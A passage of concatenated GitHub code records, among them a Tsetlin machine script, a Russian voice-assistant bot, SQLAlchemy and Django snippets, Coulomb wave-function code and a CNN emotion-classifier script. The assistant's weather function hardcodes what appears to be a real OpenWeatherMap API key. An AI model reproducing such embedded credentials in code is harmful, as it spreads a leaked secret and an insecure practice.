dtype=np.int32)\n\t\t\t\tarr=df[colname].tolist()\n\t\t\t\ttempx=[[1]*(ul.index(arr[pos])+1)+[0]*(len(ul)-(ul.index(arr[pos])+1)) for pos in range(len(arr))]\n\t\t\t\ttempx=np.reshape(tempx,(df.shape[0], len(ul)))\n\t\t\t\tendind=startind+len(ul)\n\t\t\t\t#print('name,s,e',colname,startind,endind)\n\t\t\t\ttemp_cols.append(colname)\n\t\t\t\tnewX[:,startind:endind]=tempx\n\t\t\t\tstartind=endind\n\t'''temp_cols=np.array(temp_cols)\n\tprint(temp_cols.shape)\n\tt=temp_cols.reshape(len(addendum_context),1,len(gram_base))\n\tprint(t.shape)\n\tprint(t)'''\n\tprint('shape',newX.shape)\n\tprint('Final indx',startind)\n\tnewX=newX[:,:startind]\n\tprint('final shape',newX.shape)\n\treturn newX\t\n\n\nglove_features_train=pd.read_pickle('../../pickles/spacy/nonbinarized_features_context'+str(context_length)+'_train_glove.pkl')\ngrammar_features_train=pd.read_pickle('../../pickles/spacy/nonbinarized_features_context'+str(context_length)+'_train_gram.pkl')\n\nglove_features_test=pd.read_pickle('../../pickles/spacy/nonbinarized_features_context'+str(context_length)+'_test_glove.pkl')\ngrammar_features_test=pd.read_pickle('../../pickles/spacy/nonbinarized_features_context'+str(context_length)+'_test_gram.pkl')\n\nassert(grammar_features_train['label'].tolist()==glove_features_train['label'].tolist())\nassert(grammar_features_test['label'].tolist()==glove_features_test['label'].tolist())\n\nlabels_train=grammar_features_train['label']\nlabels_test=grammar_features_test['label']\n\n\nprint('gram',grammar_features_train.shape, len(labels_train))\nprint('glove',glove_features_train.shape, len(labels_train))\n\t\t\t\t \nprint('gram',grammar_features_test.shape, len(labels_test))\nprint('glove',glove_features_test.shape, len(labels_test))\n\n#########Grammar##########\nprint(\"Grammar\")\n\ncombo_train=grammar_features_train\ncombo_test=grammar_features_test\n\nremheaders=['text','label', 'word_idx']\n\nprint('combo train',combo_train.shape)\nprint('combo test',combo_test.shape)\n\n\t\t\t\t \nlist_of_uniques=find_uniques_length(combo_train, remheaders)\n#print(list_of_uniques)\n#print('len col',len(baselist_gram))\n\nusum=np.sum([len(s) for s in list_of_uniques])\nprint('sum', usum)\t\n\ncombo_train_num=numerize(combo_train, list_of_uniques, gram_base)\ncombo_test_num=binarize(combo_test, list_of_uniques, gram_base)\n\nprint(combo_train_num.shape)\nprint(combo_test_num.shape)\n\ncolnames=list(combo_train.columns)\ncolnames=[c for c in colnames if c not in remheaders ]\nSKB = SelectKBest(chi2, k=10)\nSKB.fit(combo_train_num, labels_train)\nselected_features = SKB.get_support(indices=True)\ncs=[colnames[sf] for sf in selected_features]\n\nXtrain=binarize_selected(combo_train, list_of_uniques, cs)\nXtest=binarize_selected(combo_test, list_of_uniques, cs)\n\nprint('binarized train',Xtrain.shape)\nprint('binarized test',Xtest.shape)\n\n#X_train = Xtrain.reshape((Xtrain.shape[0],len(addendum_context),1,usum))\n#X_test = Xtest.reshape((Xtest.shape[0],len(addendum_context),1,usum))\n\n#print('reshaped train',X_train.shape)\n#print('reshaped test',X_test.shape)\n\n#np.save('x_train_conv', Xtrain)\n#np.save('x_test_conv', Xtest)\n\t\t\t\t \n# Setup\ntm = MultiClassTsetlinMachine(CLAUSES, T, s, weighted_clauses=weighting)\nlabels_test_indx=np.where(labels_test==1)\nlabels_train_indx=np.where(labels_train==1)\n\nacc=[]\nacc_train=[]\n# Training\nfor i in range(RUNS):\n\tprint(i)\n\tstart_training = time()\n\ttm.fit(Xtrain, labels_train, epochs=50, incremental=True)\n\tstop_training = time()\n\n\tstart_testing = time()\n\tres_test=tm.predict(Xtest)\n\tres_train=tm.predict(Xtrain) \n\t\n\tres_test_indx=np.where(res_test==1)\n\tres_train_indx=np.where(res_train==1)\t \n\t\n\tresult_test2=100*len(set(list(res_test_indx[0])).intersection(set(list(labels_test_indx[0]))))/len(list(labels_test_indx[0]))\n\tresult_train2=100*len(set(list(res_train_indx[0])).intersection(set(list(labels_train_indx[0]))))/len(list(labels_train_indx[0]))\n\t\n\tresult_test = 100*(res_test == labels_test).mean()\n\tresult_train = 100*(res_train == labels_train).mean()\n\tprf_test=precision_recall_fscore_support(res_test, labels_test, average='macro')\n\tprf_test=[str(p) for p in prf_test]\n\tprf_test=' '.join(prf_test)\n\tprf_train=precision_recall_fscore_support(res_train, labels_train, average='macro')\n\tprf_train=[str(p) for p in prf_train]\n\tprf_train=' '.join(prf_train)\n\n\tstop_testing = time()\n\n\t'''print(\"\\n\\n#%d Testing Accuracy: %.2f%% Training Accuracy: %.2f%% Training Time: %.2fs Testing Time: %.2fs\" % (i+1, result_test, result_train, stop_training-start_training, stop_testing-start_testing))\n\tprint(\"\\n#Testing PRF: %s%%\\nTraining PRF: %s%%\" % (prf_test, prf_train))'''\n\tprint(\"\\nActual Testing Accuracy: %.2f%% Training Accuracy: %.2f%%\" % (result_test2, result_train2))\n\tacc.append(result_test2)\n\tacc_train.append(result_train2)\n\t\nprint('Max Acc:', max(acc))\nprint('Min Acc:', min(acc))\nprint('Avg Acc:', sum(acc)/len(acc))\n\nplt.plot(np.arange(1,len(acc)+1),acc, label = \"Test\")\nplt.plot(np.arange(1,len(acc)+1),acc_train, label = \"Test\")\nplt.grid(b=True, which='major', color='#666666', linestyle='-')\nplt.minorticks_on()\nplt.grid(b=True, which='minor', color='#999999', linestyle='-', alpha=0.2)\nplt.savefig('accuracy.png')\n\n'''\n#########Glove##########\nprint(\"\\n\\nGlove\")\n\ncombo_train=glove_features_train\ncombo_test=glove_features_test\n\nremheaders=['text','label', 'word_idx']\n\na=set(combo_train.columns.tolist())\nb=set(combo_test.columns.tolist())\ncombo_headers=list(a.intersection(b))\ncombo_headers=[ch for ch in combo_headers if ch not in remheaders]\n\nprint('combo train',combo_train.shape)\nprint('combo test',combo_test.shape)\n\ncombo_train=combo_train[combo_headers].to_numpy()\ncombo_test=combo_test[combo_headers].to_numpy()\n\nprint('\\ncombo train',combo_train.shape)\nprint('combo test',combo_test.shape)\n\nX_train2 = combo_train.reshape((combo_train.shape[0],(context_length*2+1),1,int(combo_train.shape[1]/(context_length*2+1))))\nX_test2 = combo_test.reshape((combo_test.shape[0],(context_length*2+1),1,int(combo_train.shape[1]/(context_length*2+1))))\n\nprint('reshaped train',X_train2.shape)\nprint('reshaped test',X_test2.shape)\n\t\t\t\t \n# Setup\ntm = MultiClassConvolutionalTsetlinMachine2D(CLAUSES, T, s, (motif_length, 1), weighted_clauses=weighting)\nlabels_test_indx=np.where(labels_test==1)\nlabels_train_indx=np.where(labels_train==1)\n\nacc=[]\n\n# Training\nfor i in range(RUNS):\n\tprint(i)\n\tstart_training = time()\n\ttm.fit(X_train2, labels_train, epochs=1, incremental=True)\n\tstop_training = time()\n\n\tstart_testing = time()\n\tres_test=tm.predict(X_test2)\n\tres_train=tm.predict(X_train2) \n\t\n\tres_test_indx=np.where(res_test==1)\n\tres_train_indx=np.where(res_train==1)\t \n\t\n\tresult_test2=100*len(set(list(res_test_indx[0])).intersection(set(list(labels_test_indx[0]))))/len(list(labels_test_indx[0]))\n\tresult_train2=100*len(set(list(res_train_indx[0])).intersection(set(list(labels_train_indx[0]))))/len(list(labels_train_indx[0]))\n\t\t\n\tresult_test = 100*(res_test == labels_test).mean()\n\tresult_train = 100*(res_train == labels_train).mean()\n\tprf_test=precision_recall_fscore_support(res_test, labels_test, average='macro')\n\tprf_test=[str(p) for p in prf_test]\n\tprf_test=' '.join(prf_test)\n\tprf_train=precision_recall_fscore_support(res_train, labels_train, average='macro')\n\tprf_train=[str(p) for p in prf_train]\n\tprf_train=' '.join(prf_train)\n\n\tstop_testing = time()\n\n\n\tprint(\"\\nActual Testing Accuracy: %.2f%% Training Accuracy: %.2f%%\" % (result_test2, result_train2))\n\tacc.append(result_test2)\n\t\nprint('Max Acc:', max(acc))\nprint('Min Acc:', min(acc))\nprint('Avg Acc:', sum(acc)/len(acc))\n\n\n\t\n#########Combo##########\nprint(\"\\n\\nCombo\")\n\nX_train3 = np.concatenate((X_train,X_train2), axis=3)\nX_test3 = np.concatenate((X_test,X_test2), axis=3)\n\nprint('reshaped train',X_train3.shape)\nprint('reshaped test',X_test3.shape)\n\t\t\t\t \n# Setup\ntm = MultiClassConvolutionalTsetlinMachine2D(CLAUSES, T, s, (motif_length, 1), weighted_clauses=weighting)\nlabels_test_indx=np.where(labels_test==1)\nlabels_train_indx=np.where(labels_train==1)\n\nacc=[]\n\n# Training\nfor run in range(RUNS):\n\tprint(run)\n\tstart_training = time()\n\ttm.fit(X_train3, labels_train, epochs=training_epoch, incremental=True)\n\tstop_training = time()\n\n\tstart_testing = time()\n\tres_test=tm.predict(X_test3)\n\tres_train=tm.predict(X_train3) \n\tstop_testing = time()\n\t\n\tres_test_indx=np.where(res_test==1)\n\tres_train_indx=np.where(res_train==1)\t \n\t\n\tresult_test2=100*len(set(list(res_test_indx[0])).intersection(set(list(labels_test_indx[0]))))/len(list(labels_test_indx[0]))\n\tresult_train2=100*len(set(list(res_train_indx[0])).intersection(set(list(labels_train_indx[0]))))/len(list(labels_train_indx[0]))\n\t\n\n\tresult_test = 100*(res_test == labels_test).mean()\n\tresult_train = 100*(res_train == labels_train).mean()\n\n\n\tprf_test=precision_recall_fscore_support(res_test, labels_test, average='macro')\n\tprf_train=precision_recall_fscore_support(res_train, labels_train, average='macro')\n\tprf_detail_test=precision_recall_fscore_support(res_test, labels_test, average=None)\n\tprf_detail_train=precision_recall_fscore_support(res_train, labels_train, average=None)\n\tprf_test=[str(p) for p in prf_test]\n\tprf_test=' '.join(prf_test)\n\tprf_train=[str(p) for p in prf_train]\n\tprf_train=' '.join(prf_train)\n\n\tprint(\"\\nActual Testing Accuracy: %.2f%% Training Accuracy: %.2f%%\" % (result_test2, result_train2))\n\tacc.append(result_test2)\n\t\nprint('Max Acc:', max(acc))\nprint('Min Acc:', min(acc))\nprint('Avg Acc:', sum(acc)/len(acc))\n'''\t\n\t\n","repo_name":"rupsaijna/bAbI","sub_path":"code/v2/runTM_reducedfeatures.py","file_name":"runTM_reducedfeatures.py","file_ext":"py","file_size_in_byte":12688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70208048106","text":"import wikipedia\nimport requests\nfrom speach import *\n\ndef S():\n h = int(input(\"Введи высоту: \"))\n l = int(input(\"Введи сторону: \"))\n print(\"Площадь треугольника: \", 0.5*h*l)\n say(\"Площадь треугольника:\" + str(0.5*h*l))\n\ndef wiki():\n wikipedia.set_lang(\"ru\")\n say(\"О чём ты хочешь узнать?\")\n x = input(\"О чём ты хочешь узнать? \")\n print(wikipedia.summary(x))\n say(wikipedia.summary(x, sentences=1))\n\ndef weather():\n appid = \"8a61dda3a2ef6afaf929cc1c4154f9ef\"\n s_city = \"Petrozavodsk\"\n city_id = 509820\n\n res = requests.get(\"http://api.openweathermap.org/data/2.5/find\",\n params= {\n 'q': s_city,\n 'id': city_id,\n 'type': 'like',\n 'units': 'metric',\n 'APPID': appid\n })\n print(res.json()['list'][0])\n print(\"Температура сейчас:\", res.json()['list'][0]['main']['temp'])\n print(\"Ощущается как:\", res.json()['list'][0]['main']['feels_like'])\n print(\"Давление\", res.json()['list'][0]['main']['pressure'])\n print(\"Влажность\", res.json()['list'][0]['main']['humidity'])\n\n\nprint(\"Привет! Я - Джарвис, твой бот-помощник.\")\nsay(\"Привет! Я - ДжАрвис, твой бот-помощник.\")\nprint(\"Чтобы выбрать команду введи соотвествующую цифру.\")\nsay(\"Чтобы выбрать команду введи соотвествующую цифру.\")\nprint(\"Чтобы выйти введи 'exit'\")\nsay(\"Чтобы выйти введи эксит\")\n\nanswer = \"\"\n\nwhile answer != \"exit\":\n print(\"1 - посчитать площадь треугольника, 2 - инфо из Википедии, 3 - текущая погода\")\n answer = input(\"Введи команду: \")\n if answer==\"1\":\n S()\n elif answer==\"2\":\n wiki()\n elif answer==\"3\":\n weather()\n\n","repo_name":"chudo9991/Python-OpenCV","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23440152413","text":"from flask_sqlalchemy import SQLAlchemy\nfrom app import db\nfrom sqlalchemy.orm import load_only\nfrom sqlalchemy.ext import mutable\n\nclass Comment(db.Model):\n __tablename__ = 'comments'\n id = db.Column(db.Integer,primary_key = True, autoincrement = True)\n user = db.Column(db.Integer)\n article = db.Column(db.Integer)\n comment = db.Column(db.String)\n\n def __init__(self,user,article,comment):\n self.comment = comment\n self.user = user\n self.article = article\n\n def __repr__(self):\n return \"{id:%r}\"%(self.id)\n \n","repo_name":"pbshgthm-archive/unplugged","sub_path":"app/models/comment_mod.py","file_name":"comment_mod.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11370262451","text":"import numpy as np\n\ndevice_marker_map = {\n \"mirror\": \"<\",\n \"multipole\": \">\",\n \"marker\": \"^\",\n \"instrument\": \"D\",\n \"lcavity\": \"H\",\n \"solenoid\": \"P\",\n \"wiggler\": \"o\",\n \"sbend\": \"v\",\n \"rbend\": \"8\",\n \"vkicker\": \"1\",\n \"hkicker\": \"s\",\n \"drift\": \"X\",\n \"monitor\": \"4\", \n \"quadrupole\": \"|\",\n \"ecollimator\": \"5\",\n \"rcollimator\": \"6\",\n}\n\n\ndef get_marker(device):\n return device_marker_map[device.element_type]\n","repo_name":"jacquelinegarrahan/bmad-component-db-test","sub_path":"bmad_components/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10096442449","text":"\"\"\"\nThis time I will write the method of ** Update ** with ** SQLAlchemy **.\n\nOperating environment\nMac OS X 10.11.5\nPython 3.5.1\nMySQL Ver 14.14 Distrib 5.7.11, for osx10.11 (x86_64) using EditLine wrapper\nSQLAlchemy 1.1.0\nPyMySQL 0.7.4\nSample code\nUpdate the record of id == 2 (name = \"Seiichi Sugino\", kana ='Sugi no Seiichi').\n\"\"\"\n\n# -*- coding:utf-8 -*-\nimport sqlalchemy\nimport sqlalchemy.orm\nimport sqlalchemy.ext.declarative\n\nBase = sqlalchemy.ext.declarative.declarative_base()\n\nclass Student(Base):\n __tablename__ = 'students'\n id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True)\n name = sqlalchemy.Column(sqlalchemy.String(20))\n kana = sqlalchemy.Column(sqlalchemy.String(40))\n\ndef main():\n url = 'mysql+pymysql://root:@localhost/test_db?charset=utf8'\n\n engine = sqlalchemy.create_engine(url, echo=True)\n\n #Create a session\n Session = sqlalchemy.orm.sessionmaker(bind=engine)\n session = Session()\n\n #Delete all data\n session.query(Student).delete()\n\n #Register multiple data at once\n session.add_all([\n Student(id=1, name='Yu Ishizaka', kana='Yu Ishizaka'),\n Student(id=2, name='Seiichi Sugino', kana='Sugi no Seiichi'),\n Student(id=3, name='Yuko Kuwata', kana='Yuko Kuwata'),\n Student(id=4, name='Ai Kurihara', kana='Kurihara Ai'),\n ])\n\n # id==Update 2 data\n student = session.query(Student).filter(Student.id==2).first()\n student.name = 'Hitoshi Sakuma'\n student.kana = 'Sakuma Jin'\n\n #Output all data in the table\n print_all_students(session)\n\n #Confirm data\n session.commit()\n\n#A function that outputs all the data in the table\ndef print_all_students(session):\n students = session.query(Student).all()\n for student in students:\n print('%d, %s %s' % (student.id, student.name, student.kana))\n\nif __name__ == '__main__':\n main()\n","repo_name":"sindhusweety/SQLAlchemy-ORM","sub_path":"sqlalchemy_update.py","file_name":"sqlalchemy_update.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14835399235","text":"import os\nimport sys\nimport uuid\nfrom datetime import datetime\n\nimport django\n\n# 配置路径\n\nbase_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# 将路径添加到环境中\nsys.path.append(base_dir)\n\n# 加载项目\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'PersonBlog.settings')\n\n# 启动django\ndjango.setup()\n\nfrom apps.web import models\nfrom apps.blog.models import UserInfo\n\ncontent_str = \"\"\"\n接下来我们将进行数据的修复工作,这是对于之前0.1版本的用户想要迁移时必须使用的脚本,\n若您直接从0.1版之后的版本开始使用,则无需关系此脚本~\n请从如下选项中选择(输入数字编号回车即可~):\n1. 初始化免费策略及高级策略版本,并将管理员设置为高级策略用户,用户设置为免费策略用户~\n2. 初始化免费策略,管理员和用户都将使用免费策略~\n\"\"\"\nstatus = input(content_str)\n\n# 免费策略\nfree_price_policy = models.PricePolicy.objects.create(category=1,\n title=\"免费用户\",\n create_project=2,\n project_member=1,\n project_space=5,\n single_file_space=2)\n\n# 高级策略\nprice_policy = models.PricePolicy.objects.create(category=2,\n title=\"高级用户\",\n create_project=1000,\n project_member=1000,\n project_space=20480,\n single_file_space=4096)\n\nADMIN_USER = UserInfo.objects.filter(is_super=True).all()\nUSER = UserInfo.objects.filter(is_super=False).all()\n\n# 添加权限\nstart_time = datetime.now()\n\nif status == \"2\":\n _ = USER + ADMIN_USER\nelse:\n _ = USER\n\n # 处理管理员\n for instance in ADMIN_USER:\n models.Transaction.objects.create(status=2,\n user=instance,\n price_policy=price_policy,\n pay_price=0,\n count=0,\n start_time=start_time,\n order=str(uuid.uuid4()), # 产生随机字符串\n create_time=start_time)\n\nfor instance in _:\n models.Transaction.objects.create(status=2,\n user=instance,\n price_policy=free_price_policy,\n pay_price=0,\n count=0,\n start_time=start_time,\n order=str(uuid.uuid4()), # 产生随机字符串\n create_time=start_time)\nprint(\"初始化完成~\")","repo_name":"Bean-jun/PersonBlogSystem","sub_path":"fix_tools/init_PricePolicy.py","file_name":"init_PricePolicy.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38128106547","text":"import mpmath as mp\nimport numpy as np\nimport matplotlib\nimport json\nimport sys\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy import special\nfrom numpy import sin, log, pi, angle, sqrt\nimport cProfile\n\nidx = [i for i, itr in enumerate(sys.path[0]) if itr == \"/\"]\npath_address = sys.path[0][:idx[-1]]\n \nsys.path.append(path_address + '/General_Functions')\nimport Module as Mod\n\ndef Coulomb_Fun_Old(grid, lo, k, z=2):\n coulomb_fun = np.zeros(len(grid))\n for i, r in enumerate(grid):\n coulomb_fun[i] = mp.coulombf(lo, -z/r, k*r)\n return coulomb_fun\n\ndef Coulomb_Fun(grid, lo, k, z=2):\n coulomb_fun_numpy = besseli_vec = np.frompyfunc(mp.coulombf, 3, 1)\n coulomb_fun = coulomb_fun_numpy(lo, -z/grid, k*grid)\n return coulomb_fun\n\ndef Coulomb_Fun_Limit(grid, lo, k, z=2):\n phase = angle(special.gamma(lo + 1 - 1j*z/k))\n return sin(k*grid + (z/k)*log(2*k*grid) - lo*pi/2 + phase)\n\ndef Cont_State_Save(input_par, l, k_array, grid):\n\n CS = {}\n\n for k in k_array:\n print(l, round(float(k),3))\n coulomb_fun = Coulomb_Fun_Old(grid, l, k, z=2)\n\n key = str((l, round(float(k),3))) \n CS[key] = list(coulomb_fun)\n\n \n file_name = \"CS_\" + str(input_par[\"grid_size\"]) + \"_\" + str(input_par[\"grid_spacing\"]) + \"_\" + str(l) + \".json\"\n with open(file_name, 'w') as file:\n json.dump(CS, file)\n\n print(\"Finished\")\n\ndef Cont_State_File_Combine(input_par, l_array):\n file_location = \"/mpdata/becker/yoge8051/Research/TDSE/CS_Maker/\"\n CS_Files = {}\n CS = {}\n for l in l_array:\n print(l)\n file_name = \"CS_\" + str(input_par[\"grid_size\"]) + \"_\" + str(input_par[\"grid_spacing\"]) + \"_\" + str(l) + \".json\"\n with open(file_location + file_name) as file:\n CS_Files[l] = json.load(file)\n CS.update(CS_Files[l])\n\n print(\"Finished updating\")\n CS_Full = {} \n for key in CS.keys():\n l_low = key.index(\"(\")\n l_high = key.index(\",\")\n l = key[l_low+1:l_high]\n k_low = key.index(\",\")\n k_high = key.index(\")\")\n k = float(key[k_low+1:k_high])\n k = round(k, 3)\n name = str(l) + str(k)\n CS_Full[name] = CS[key]\n\n with open(\"CS_1000_0.05_Full.json\", 'w') as file:\n json.dump(CS_Full, file)\n\ndef Cont_State_File_Check(input_par, k_array):\n file_location = \"/mpdata/becker/yoge8051/Research/TDSE/CS_Maker/CS_1000_0.05_Full.json\"\n with open(file_location) as file:\n CS = json.load(file)\n\n block_to_qn, qn_to_block = Mod.Index_Map(input_par)\n for key in qn_to_block:\n l, m = key[0], key[1]\n print(key)\n COEF_Minor = {}\n for k in k_array:\n k = round(k, 3)\n name = str(l) + str(k)\n \n CF = np.array(CS[name])\n \nif __name__==\"__main__\":\n\t\n input_par = Mod.Input_File_Reader(\"input.json\")\n k_array = np.arange(0.005, 3.0, 0.005)\n \n grid = Mod.Grid(input_par[\"grid_spacing\"], input_par[\"grid_size\"])\n grid= grid.grid\n\n \"Do not remove used to file l place\"\n l = input_par[\"CWF_l\"]\n print(l)\n Cont_State_Save(input_par, l, k_array, grid)\n\n # l_array = range(0, 20, 1)\n # Cont_State_File_Combine(input_par, l_array)\n # Cont_State_File_Check(input_par, k_array)","repo_name":"yonas-abera-gebre/TDSE","sub_path":"Analysis/CWF.py","file_name":"CWF.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20937927927","text":"import glob\nimport json\nimport os\nimport cv2\nimport time\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.utils import shuffle, resample\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import f1_score, confusion_matrix, roc_curve, roc_auc_score, auc\nfrom sklearn.preprocessing import label_binarize\nfrom scipy import interp\nfrom hyperopt import hp, fmin, tpe, Trials\n\npathfile = os.getcwd() + \"\\\\path.txt\"\nf = open(pathfile, \"r\")\nlines = f.readlines()\nf.close()\n\nmodel_path = lines[0]\n\nwith open(model_path + '\\\\global_settings.json') as inputfile:\n settings = json.load(inputfile)\nclasses = settings['emotion_classes']\nclass_to_remove = settings['class_to_remove']\ntest_classes = classes.copy()\nclasses.remove(class_to_remove)\nnum_classes = len(classes)\npositive_class = settings['positive_class']\npositive_index = classes.index(positive_class)\nremoved_index = test_classes.index(class_to_remove)\nuse_all_classes = settings['use_all_classes']\nif not use_all_classes:\n test_classes.remove(class_to_remove)\nnum_test_classes = len(test_classes)\n\nif not os.path.exists(model_path + \"\\\\CNN_CV\"):\n os.makedirs(model_path + \"\\\\CNN_CV\")\n\npaths = []\nfor c in test_classes:\n paths.append(model_path + \"\\\\Faces\\\\\" + c)\n\n\ndef read_data():\n extension = 'jpg'\n\n images = []\n labels = []\n images_test = []\n labels_test = []\n for i, path in enumerate(paths):\n os.chdir(path)\n files = glob.glob('*.{}'.format(extension))\n for file in files:\n if int(file[-5]) != 2: # only read in training and test images, not images from final test regions\n im = cv2.imread(file)\n im = cv2.cvtColor(im, cv2.COLOR_BGR2RGB)\n print(file)\n if int(file[-5]) == 0:\n images.append(im)\n labels.append(test_classes[i])\n if int(file[-5]) == 1:\n images_test.append(im)\n labels_test.append(test_classes[i])\n\n return images, labels, images_test, labels_test\n\n\ndef format_image(image):\n global i\n i += 1\n print(i)\n image = tf.convert_to_tensor(image, dtype=tf.float32)\n image = tf.reshape(image, (image.shape[0], image.shape[1], 3))\n image = tf.image.resize(image, (image_res[model_name], image_res[model_name])) # /255.0\n image = preprocess[model_name](image)\n return image\n\n\ndef format_label(lab):\n lab = test_classes.index(lab)\n return lab\n\n\ndef resample_images(images, labels):\n images_ = {}\n labels_ = {}\n sizes = []\n for i, c in enumerate(test_classes):\n indices = np.where(labels == i)[0]\n sizes.append(len(indices))\n images_[c] = images[indices]\n labels_[c] = labels[indices]\n\n min_ = np.min(sizes)\n\n for i, key in enumerate(images_):\n images_[key], labels_[key] = resample(images_[key], labels_[key], n_samples=min_, replace=False)\n\n if i == 0:\n images = images_[key]\n labels = labels_[key]\n else:\n images = np.concatenate((images, images_[key]))\n labels = np.append(labels, labels_[key])\n\n return images, labels\n\n\ndef shuffle_select_process(images, labels, resample):\n (images, labels) = shuffle(images, labels)\n images = images[:n_samples]\n labels = labels[:n_samples]\n\n images = np.stack(list(map(format_image, images)))\n labels = np.array(list(map(format_label, labels)))\n\n if resample:\n images, labels = resample_images(images, labels)\n\n return images, labels\n\n\ndef remove_withheld_classes(im, lab):\n labels = np.array([test_classes[i] for i in lab])\n images_temp = []\n labels_temp = []\n for i, label in enumerate(labels):\n if label in classes:\n images_temp.append(im[i])\n labels_temp.append(classes.index(label))\n im = np.stack(images_temp)\n lab = np.array(labels_temp)\n\n return im, lab\n\n\ndef train_model(images_train, labels_train, images_test, labels_test, model_name, IMAGE_RES, index=str(0), n_epochs=100,\n final=False, alpha0=1e-3, decay=0.95, layers_back=0, threshold_check=False):\n if final:\n index = \"Final\"\n\n feature_extractors = {\n 'emopy': tf.keras.models.load_model(emopypath),\n 'vgg16': tf.keras.applications.vgg16.VGG16(include_top=False, input_shape=(IMAGE_RES, IMAGE_RES, 3), weights='imagenet'),\n 'vgg19': tf.keras.applications.vgg19.VGG19(include_top=False, input_shape=(IMAGE_RES, IMAGE_RES, 3), weights='imagenet'),\n 'vggface2': tf.keras.models.load_model(vggface2path),\n 'inception_resnet': tf.keras.applications.inception_resnet_v2.InceptionResNetV2(include_top=False, input_shape=(299, 299, 3), weights='imagenet'),\n 'mobilenet': tf.keras.applications.mobilenet_v2.MobileNetV2(include_top=False, input_shape=(IMAGE_RES, IMAGE_RES, 3), weights='imagenet')}\n\n feature_extractor = feature_extractors[model_name]\n\n for layer in feature_extractor.layers[:-layers_back]:\n layer.trainable = False\n\n if num_test_classes > num_classes:\n if final:\n images_final_test = images_test\n labels_final_test = labels_test\n images_train, labels_train = remove_withheld_classes(images_train, labels_train)\n images_test, labels_test = remove_withheld_classes(images_test, labels_test)\n\n featurewise_center = True\n featurewise_std_normalization = True\n rotation_angle = 45\n shift_range = 0.3\n shear_range = 0.2\n zoom_range = 0.2\n channel_shift_range = 0.3\n if model_name == 'emopy':\n featurewise_center = True\n featurewise_std_normalization = True\n rotation_angle = 10\n shift_range = 0.1\n zoom_range = 0.1\n channel_shift_range = 0.0\n shear_range = 0.0\n\n augmentor = tf.keras.preprocessing.image.ImageDataGenerator(featurewise_center=featurewise_center, samplewise_center=False,\n featurewise_std_normalization=featurewise_std_normalization,\n samplewise_std_normalization=False, zca_whitening=False,\n zca_epsilon=1e-06, rotation_range=rotation_angle,\n width_shift_range=shift_range, height_shift_range=shift_range,\n brightness_range=None, shear_range=shear_range,\n zoom_range=zoom_range, channel_shift_range=channel_shift_range,\n fill_mode='nearest', cval=0.0,\n horizontal_flip=True, vertical_flip=False, rescale=None,\n preprocessing_function=None,\n data_format='channels_last', validation_split=0.0,\n dtype='float32')\n\n test_augmentor = tf.keras.preprocessing.image.ImageDataGenerator(featurewise_center=featurewise_center,\n samplewise_center=False,\n featurewise_std_normalization=featurewise_std_normalization,\n samplewise_std_normalization=False)\n\n augmentor.fit(images_train)\n test_augmentor.fit(images_train)\n mean = test_augmentor.mean\n std = test_augmentor.std\n\n if model_name == 'vggface2' or model_name == 'emopy':\n if model_name == 'vggface2':\n last_layer = feature_extractor.get_layer('avg_pool').output\n x = tf.keras.layers.Flatten()(last_layer)\n elif model_name == 'emopy':\n x = feature_extractor.get_layer('dropout_14').output\n out = tf.keras.layers.Dense(num_classes, activation='softmax')(x)\n model = tf.keras.Model(feature_extractor.input, out)\n else:\n model = tf.keras.Sequential([\n feature_extractor,\n tf.keras.layers.Flatten(),\n # tf.keras.layers.Dense(1000, kernel_regularizer=tf.keras.regularizers.l2(0.01), activation='relu'),\n tf.keras.layers.Dense(num_classes, activation='softmax')\n ])\n\n model.summary()\n\n optimizer = tf.keras.optimizers.Adam(learning_rate=alpha0, beta_1=0.9, beta_2=0.999, epsilon=1e-07, amsgrad=False)\n lr_schedule = tf.keras.callbacks.LearningRateScheduler(lambda epoch: alpha0 * decay**epoch)\n # lambda epoch: 1e-3 * 10 ** (epoch / 30))\n early_stopping = tf.keras.callbacks.EarlyStopping(patience=5)\n\n model.compile(optimizer=optimizer, loss='sparse_categorical_crossentropy', metrics=['accuracy'])\n\n history = model.fit_generator(augmentor.flow(images_train, labels_train, batch_size=BATCH_SIZE), epochs=n_epochs,\n verbose=1, shuffle=True,\n # validation_data=(images_test, labels_test),\n validation_data=test_augmentor.flow(images_test, labels_test, batch_size=BATCH_SIZE),\n steps_per_epoch=int(np.ceil(np.size(labels_train) / float(BATCH_SIZE))),\n use_multiprocessing=False, callbacks=[early_stopping, lr_schedule])\n\n if threshold_check and not final:\n return model, None, mean, std\n\n acc = history.history['accuracy']\n val_acc = history.history['val_accuracy']\n loss = history.history['loss']\n val_loss = history.history['val_loss']\n\n epochs_range = range(np.size(acc))\n\n figure_size = (14, 8)\n fig = plt.figure(figsize=figure_size)\n plt.subplot(1, 2, 1)\n plt.plot(epochs_range, acc, label='Training Accuracy')\n plt.plot(epochs_range, val_acc, label='Validation Accuracy')\n plt.xlabel('Number of Epochs')\n plt.ylabel('Accuracy')\n plt.legend(loc='lower right')\n plt.title('Training and Validation Accuracy: {}'.format(index))\n\n plt.subplot(1, 2, 2)\n plt.plot(epochs_range, loss, label='Training Loss')\n plt.plot(epochs_range, val_loss, label='Validation 